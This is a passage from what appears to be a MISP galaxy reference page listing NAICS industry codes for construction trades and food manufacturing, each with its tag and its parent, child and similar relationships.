- child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23731" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237310" with estimative-language:likelihood-probability="likely"

23731

Highway, Street, and Bridge Construction

The tag is: *misp-galaxy:naics="23731"*

View relationships graph

23731 has relationships with:

- child-of: misp-galaxy:naics="2373" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237310" with estimative-language:likelihood-probability="likely"

237310

Highway, Street, and Bridge Construction

The tag is: *misp-galaxy:naics="237310"*

View relationships graph

237310 has relationships with:

- child-of: misp-galaxy:naics="2373" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23731" with estimative-language:likelihood-probability="likely"

2379

Other Heavy and Civil Engineering Construction

The tag is: *misp-galaxy:naics="2379"*

View relationships graph

2379 has relationships with:

- child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23799" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237990" with estimative-language:likelihood-probability="likely"

23799

Other Heavy and Civil Engineering Construction

The tag is: *misp-galaxy:naics="23799"*

View relationships graph

23799 has relationships with:

- child-of: misp-galaxy:naics="2379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237990" with estimative-language:likelihood-probability="likely"

237990

Other Heavy and Civil Engineering Construction

The tag is: *misp-galaxy:naics="237990"*

View relationships graph

237990 has relationships with:

- child-of: misp-galaxy:naics="2379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23799" with estimative-language:likelihood-probability="likely"

238

Specialty Trade Contractors

The tag is: *misp-galaxy:naics="238"*

View relationships graph

238 has relationships with:

- child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"

2381

Foundation, Structure, and Building Exterior Contractors

The tag is: *misp-galaxy:naics="2381"*

View relationships graph

2381 has relationships with:

- child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23813" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="238130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23814" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23815" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23816" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238160" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23817" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238170" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23819" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238190" with estimative-language:likelihood-probability="likely"

23811

Poured Concrete Foundation and Structure Contractors

The tag is: *misp-galaxy:naics="23811"*

View relationships graph

23811 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238110" with estimative-language:likelihood-probability="likely"

238110

Poured Concrete Foundation and Structure Contractors

The tag is: *misp-galaxy:naics="238110"*

View relationships graph

238110 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23811" with estimative-language:likelihood-probability="likely"

23812

Structural Steel and Precast Concrete Contractors

The tag is: *misp-galaxy:naics="23812"*

View relationships graph

23812 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238120" with estimative-language:likelihood-probability="likely"

238120

Structural Steel and Precast Concrete Contractors

The tag is: *misp-galaxy:naics="238120"*

View relationships graph

238120 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23812" with estimative-language:likelihood-probability="likely"

23813

Framing Contractors

The tag is: *misp-galaxy:naics="23813"*

View relationships graph

23813 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238130" with estimative-language:likelihood-probability="likely"

238130

Framing Contractors

The tag is: *misp-galaxy:naics="238130"*

View relationships graph

238130 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23813" with estimative-language:likelihood-probability="likely"

23814

Masonry Contractors

The tag is: *misp-galaxy:naics="23814"*

View relationships graph

23814 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238140" with estimative-language:likelihood-probability="likely"

238140

Masonry Contractors

The tag is: *misp-galaxy:naics="238140"*

View relationships graph

238140 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23814" with estimative-language:likelihood-probability="likely"

23815

Glass and Glazing Contractors

The tag is: *misp-galaxy:naics="23815"*

View relationships graph

23815 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238150" with estimative-language:likelihood-probability="likely"

238150

Glass and Glazing Contractors

The tag is: *misp-galaxy:naics="238150"*

View relationships graph

238150 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23815" with estimative-language:likelihood-probability="likely"

23816

Roofing Contractors

The tag is: *misp-galaxy:naics="23816"*

View relationships graph

23816 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238160" with estimative-language:likelihood-probability="likely"

238160

Roofing Contractors

The tag is: *misp-galaxy:naics="238160"*

View relationships graph

238160 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23816" with estimative-language:likelihood-probability="likely"

23817

Siding Contractors

The tag is: *misp-galaxy:naics="23817"*

View relationships graph

23817 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238170" with estimative-language:likelihood-probability="likely"

238170

Siding Contractors

The tag is: *misp-galaxy:naics="238170"*

View relationships graph

238170 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23817" with estimative-language:likelihood-probability="likely"

23819

Other Foundation, Structure, and Building Exterior Contractors

The tag is: *misp-galaxy:naics="23819"*

View relationships graph

23819 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238190" with estimative-language:likelihood-probability="likely"

238190

Other Foundation, Structure, and Building Exterior Contractors

The tag is: *misp-galaxy:naics="238190"*

View relationships graph

238190 has relationships with:

- child-of: misp-galaxy:naics="2381" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23819" with estimative-language:likelihood-probability="likely"

2382

Building Equipment Contractors

The tag is: *misp-galaxy:naics="2382"*

View relationships graph

2382 has relationships with:

- child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23822" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="238220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23829" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238290" with estimative-language:likelihood-probability="likely"

23821

Electrical Contractors and Other Wiring Installation Contractors

The tag is: *misp-galaxy:naics="23821"*

View relationships graph

23821 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238210" with estimative-language:likelihood-probability="likely"

238210

Electrical Contractors and Other Wiring Installation Contractors

The tag is: *misp-galaxy:naics="238210"*

View relationships graph

238210 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23821" with estimative-language:likelihood-probability="likely"

23822

Plumbing, Heating, and Air-Conditioning Contractors

The tag is: *misp-galaxy:naics="23822"*

View relationships graph

23822 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238220" with estimative-language:likelihood-probability="likely"

238220

Plumbing, Heating, and Air-Conditioning Contractors

The tag is: *misp-galaxy:naics="238220"*

View relationships graph

238220 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23822" with estimative-language:likelihood-probability="likely"

23829

Other Building Equipment Contractors

The tag is: *misp-galaxy:naics="23829"*

View relationships graph

23829 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238290" with estimative-language:likelihood-probability="likely"

238290

Other Building Equipment Contractors

The tag is: *misp-galaxy:naics="238290"*

View relationships graph

238290 has relationships with:

- child-of: misp-galaxy:naics="2382" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23829" with estimative-language:likelihood-probability="likely"

2383

Building Finishing Contractors

The tag is: *misp-galaxy:naics="2383"*

View relationships graph

2383 has relationships with:

- child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23832" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="238320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23833" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23834" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23835" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238350" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23839" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238390" with estimative-language:likelihood-probability="likely"

23831

Drywall and Insulation Contractors

The tag is: *misp-galaxy:naics="23831"*

View relationships graph

23831 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238310" with estimative-language:likelihood-probability="likely"

238310

Drywall and Insulation Contractors

The tag is: *misp-galaxy:naics="238310"*

View relationships graph

238310 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23831" with estimative-language:likelihood-probability="likely"

23832

Painting and Wall Covering Contractors

The tag is: *misp-galaxy:naics="23832"*

View relationships graph

23832 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238320" with estimative-language:likelihood-probability="likely"

238320

Painting and Wall Covering Contractors

The tag is: *misp-galaxy:naics="238320"*

View relationships graph

238320 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23832" with estimative-language:likelihood-probability="likely"

23833

Flooring Contractors

The tag is: *misp-galaxy:naics="23833"*

View relationships graph

23833 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238330" with estimative-language:likelihood-probability="likely"

238330

Flooring Contractors

The tag is: *misp-galaxy:naics="238330"*

View relationships graph

238330 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23833" with estimative-language:likelihood-probability="likely"

23834

Tile and Terrazzo Contractors

The tag is: *misp-galaxy:naics="23834"*

View relationships graph

23834 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238340" with estimative-language:likelihood-probability="likely"

238340

Tile and Terrazzo Contractors

The tag is: *misp-galaxy:naics="238340"*

View relationships graph

238340 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23834" with estimative-language:likelihood-probability="likely"

23835

Finish Carpentry Contractors

The tag is: *misp-galaxy:naics="23835"*

View relationships graph

23835 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238350" with estimative-language:likelihood-probability="likely"

238350

Finish Carpentry Contractors

The tag is: *misp-galaxy:naics="238350"*

View relationships graph

238350 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23835" with estimative-language:likelihood-probability="likely"

23839

Other Building Finishing Contractors

The tag is: *misp-galaxy:naics="23839"*

View relationships graph

23839 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238390" with estimative-language:likelihood-probability="likely"

238390

Other Building Finishing Contractors

The tag is: *misp-galaxy:naics="238390"*

View relationships graph

238390 has relationships with:

- child-of: misp-galaxy:naics="2383" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23839" with estimative-language:likelihood-probability="likely"

2389

Other Specialty Trade Contractors

The tag is: *misp-galaxy:naics="2389"*

View relationships graph

2389 has relationships with:

- child-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23891" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23899" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238990" with estimative-language:likelihood-probability="likely"

23891

Site Preparation Contractors

The tag is: *misp-galaxy:naics="23891"*

View relationships graph

23891 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238910" with estimative-language:likelihood-probability="likely"

238910

Site Preparation Contractors

The tag is: *misp-galaxy:naics="238910"*

View relationships graph

238910 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23891" with estimative-language:likelihood-probability="likely"

23899

All Other Specialty Trade Contractors

The tag is: *misp-galaxy:naics="23899"*

View relationships graph

23899 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="238990" with estimative-language:likelihood-probability="likely"

238990

All Other Specialty Trade Contractors

The tag is: *misp-galaxy:naics="238990"*

View relationships graph

238990 has relationships with:

- child-of: misp-galaxy:naics="2389" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23899" with estimative-language:likelihood-probability="likely"

31-33

Manufacturing

The tag is: *misp-galaxy:naics="31-33"*

311

Food Manufacturing

The tag is: *misp-galaxy:naics="311"*

View relationships graph

311 has relationships with:

- parent-of: misp-galaxy:naics="3111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

3111

Animal Food Manufacturing

The tag is: *misp-galaxy:naics="3111"*

View relationships graph

3111 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311119" with estimative-language:likelihood-probability="likely"

31111

Animal Food Manufacturing

The tag is: *misp-galaxy:naics="31111"*

View relationships graph

31111 has relationships with:

- child-of: misp-galaxy:naics="3111" with estimative-language:likelihood-probability="likely"

311111

Dog and Cat Food Manufacturing

The tag is: *misp-galaxy:naics="311111"*

View relationships graph

311111 has relationships with:

- child-of: misp-galaxy:naics="3111" with estimative-language:likelihood-probability="likely"

311119

Other Animal Food Manufacturing

The tag is: *misp-galaxy:naics="311119"*

View relationships graph

311119 has relationships with:

- child-of: misp-galaxy:naics="3111" with estimative-language:likelihood-probability="likely"

3112

Grain and Oilseed Milling

The tag is: *misp-galaxy:naics="3112"*

View relationships graph

3112 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31122" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="311221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311224" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311225" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31123" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311230" with estimative-language:likelihood-probability="likely"

31121

Flour Milling and Malt Manufacturing

The tag is: *misp-galaxy:naics="31121"*

View relationships graph

31121 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311211

Flour Milling

The tag is: *misp-galaxy:naics="311211"*

View relationships graph

311211 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311212

Rice Milling

The tag is: *misp-galaxy:naics="311212"*

View relationships graph

311212 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311213

Malt Manufacturing

The tag is: *misp-galaxy:naics="311213"*

View relationships graph

311213 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

31122

Starch and Vegetable Fats and Oils Manufacturing

The tag is: *misp-galaxy:naics="31122"*

View relationships graph

31122 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311221

Wet Corn Milling and Starch Manufacturing

The tag is: *misp-galaxy:naics="311221"*

View relationships graph

311221 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311224

Soybean and Other Oilseed Processing

The tag is: *misp-galaxy:naics="311224"*

View relationships graph

311224 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

311225

Fats and Oils Refining and Blending

The tag is: *misp-galaxy:naics="311225"*

View relationships graph

311225 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"

31123

Breakfast Cereal Manufacturing

The tag is: *misp-galaxy:naics="31123"*

View relationships graph

31123 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311230" with estimative-language:likelihood-probability="likely"

311230

Breakfast Cereal Manufacturing

The tag is: *misp-galaxy:naics="311230"*

View relationships graph

311230 has relationships with:

- child-of: misp-galaxy:naics="3112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31123" with estimative-language:likelihood-probability="likely"

3113

Sugar and Confectionery Product Manufacturing

The tag is: *misp-galaxy:naics="3113"*

View relationships graph

3113 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31135" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="311351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311352" with estimative-language:likelihood-probability="likely"

31131

Sugar Manufacturing

The tag is: *misp-galaxy:naics="31131"*

View relationships graph

31131 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311313

Beet Sugar Manufacturing

The tag is: *misp-galaxy:naics="311313"*

View relationships graph

311313 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311314

Cane Sugar Manufacturing

The tag is: *misp-galaxy:naics="311314"*

View relationships graph

311314 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

31134

Nonchocolate Confectionery Manufacturing

The tag is: *misp-galaxy:naics="31134"*

View relationships graph

31134 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="311340" with estimative-language:likelihood-probability="likely"

311340

Nonchocolate Confectionery Manufacturing

The tag is: *misp-galaxy:naics="311340"*

View relationships graph

311340 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31134" with estimative-language:likelihood-probability="likely"

31135

Chocolate and Confectionery Manufacturing

The tag is: *misp-galaxy:naics="31135"*

View relationships graph

31135 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311351

Chocolate and Confectionery Manufacturing from Cacao Beans

The tag is: *misp-galaxy:naics="311351"*

View relationships graph

311351 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

311352

Confectionery Manufacturing from Purchased Chocolate

The tag is: *misp-galaxy:naics="311352"*

View relationships graph

311352 has relationships with:

- child-of: misp-galaxy:naics="3113" with estimative-language:likelihood-probability="likely"

3114

Fruit and Vegetable Preserving and Specialty Food Manufacturing

The tag is: *misp-galaxy:naics="3114"*

View relationships graph

3114 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311423" with estimative-language:likelihood-probability="likely"

31141

Frozen Food Manufacturing

The tag is: *misp-galaxy:naics="31141"*

View relationships graph

31141 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311411

Frozen Fruit, Juice, and Vegetable Manufacturing

The tag is: *misp-galaxy:naics="311411"*

View relationships graph

311411 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311412

Frozen Specialty Food Manufacturing

The tag is: *misp-galaxy:naics="311412"*

View relationships graph

311412 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

31142

Fruit and Vegetable Canning, Pickling, and Drying

The tag is: *misp-galaxy:naics="31142"*

View relationships graph

31142 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311421

Fruit and Vegetable Canning

The tag is: *misp-galaxy:naics="311421"*

View relationships graph

311421 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311422

Specialty Canning

The tag is: *misp-galaxy:naics="311422"*

View relationships graph

311422 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311423

Dried and Dehydrated Food Manufacturing

The tag is: *misp-galaxy:naics="311423"*

View relationships graph

311423 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

3115

Dairy Product Manufacturing

The tag is: *misp-galaxy:naics="3115"*

View relationships graph

3115 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31152" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311520" with estimative-language:likelihood-probability="likely"

31151

Dairy Product (except Frozen) Manufacturing

The tag is: *misp-galaxy:naics="31151"*

View relationships graph

31151 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311511

Fluid Milk Manufacturing

The tag is: *misp-galaxy:naics="311511"*

View relationships graph

311511 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311512

Creamery Butter Manufacturing

The tag is: *misp-galaxy:naics="311512"*

View relationships graph

311512 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311513

Cheese Manufacturing

The tag is: *misp-galaxy:naics="311513"*

View relationships graph

311513 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311514

Dry, Condensed, and Evaporated Dairy Product Manufacturing

The tag is: *misp-galaxy:naics="311514"*

View relationships graph

311514 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"

31152

Ice Cream and Frozen Dessert Manufacturing

The tag is: *misp-galaxy:naics="31152"*

View relationships graph

31152 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311520" with estimative-language:likelihood-probability="likely"

311520

Ice Cream and Frozen Dessert Manufacturing

The tag is: *misp-galaxy:naics="311520"*

View relationships graph

311520 has relationships with:

- child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31152" with estimative-language:likelihood-probability="likely"

3116

Animal Slaughtering and Processing

The tag is: *misp-galaxy:naics="3116"*

View relationships graph

3116 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311615" with estimative-language:likelihood-probability="likely"

31161

Animal Slaughtering and Processing

The tag is: *misp-galaxy:naics="31161"*

View relationships graph

31161 has relationships with:

- child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

311611

Animal (except Poultry) Slaughtering

The tag is: *misp-galaxy:naics="311611"*

View relationships graph

311611 has relationships with:

- child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

311612

Meat Processed from Carcasses

The tag is: *misp-galaxy:naics="311612"*

View relationships graph

311612 has relationships with:

- child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

311613

Rendering and Meat Byproduct Processing

The tag is: *misp-galaxy:naics="311613"*

View relationships graph

311613 has relationships with:

- child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

311615

Poultry Processing

The tag is: *misp-galaxy:naics="311615"*

View relationships graph

311615 has relationships with:

- child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

3117

Seafood Product Preparation and Packaging

The tag is: *misp-galaxy:naics="3117"*

View relationships graph

3117 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311710" with estimative-language:likelihood-probability="likely"

31171

Seafood Product Preparation and Packaging

The tag is: *misp-galaxy:naics="31171"*

View relationships graph

31171 has relationships with:

- child-of: misp-galaxy:naics="3117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311710" with estimative-language:likelihood-probability="likely"

311710

Seafood Product Preparation and Packaging

The tag is: *misp-galaxy:naics="311710"*

View relationships graph

311710 has relationships with:

- child-of: misp-galaxy:naics="3117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31171" with estimative-language:likelihood-probability="likely"

